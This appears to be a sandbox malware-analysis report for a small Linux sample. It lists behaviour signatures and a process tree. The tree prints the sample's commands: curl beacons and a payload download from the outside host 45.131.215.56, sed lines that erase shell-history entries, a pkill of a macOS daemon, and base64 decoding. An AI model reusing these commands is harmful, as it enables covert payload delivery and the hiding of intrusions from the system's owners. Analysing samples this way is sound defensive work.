Overview

overview

6

Static

static

1

8031e818c7a46

ubuntu-18.04-amd64

6

8031e818c7a46

debian-9-armhf

6

8031e818c7a46

debian-9-mips

6

8031e818c7a46

debian-9-mipsel

6

Analysis

  • max time kernel
    0s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/10/2026, 12:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    8031e818c7a46
  • Size 4KB
  • Sample261002-pffftavyhw
  • SHA256 c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

    credential_access
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/8031e818c7a46
    /tmp/8031e818c7a46
    1⤵
      PID:1495
      • /bin/uname
        uname -r
        2⤵
          PID:1497
        • /usr/bin/whoami
          whoami
          2⤵
            PID:1500
          • /bin/mktemp
            mktemp -d
            2⤵
              PID:1502
            • /bin/mkdir
              mkdir -p /root/Library/Caches/com.apple.securityd
              2⤵
                PID:1503
              • /usr/bin/pkill
                pkill -9 -f com.apple.periodic
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:1504
              • /bin/sleep
                sleep 0.3
                2⤵
                  PID:1506
                • /usr/bin/arch
                  arch
                  2⤵
                    PID:1511
                  • /usr/bin/base64
                    base64 -D
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:1514
                  • /usr/bin/tr
                    tr -d " \\n"
                    2⤵
                      PID:1518
                    • /usr/bin/od
                      od -An -tx1
                      2⤵
                        PID:1517
                      • /usr/bin/head
                        head -c8 /dev/urandom
                        2⤵
                          PID:1516
                        • /bin/uname
                          uname -m
                          2⤵
                            PID:1520
                          • /usr/bin/curl
                            curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"b38902d4acb416d8\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 5
                            2⤵
                              PID:1519
                            • /usr/bin/head
                              head -c 32
                              2⤵
                                PID:1523
                              • /bin/sed
                                sed -i "\$d" /root/.zsh_history
                                2⤵
                                  PID:1525
                                • /usr/bin/curl
                                  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.131.215.56/4e04813226b1b93?force=1" -o /tmp/tmp.1VCAqSkE49/.Y0SB_N
                                  2⤵
                                    PID:1526
                                  • /bin/sed
                                    sed -i "\$d" /root/.bash_history
                                    2⤵
                                    • Reads Bash history
                                    PID:1527
                                  • /bin/rm
                                    rm -rf /tmp/tmp.1VCAqSkE49
                                    2⤵
                                      PID:1529
                                    • /usr/bin/curl
                                      curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"b38902d4acb416d8\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 3
                                      2⤵
                                        PID:1528

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads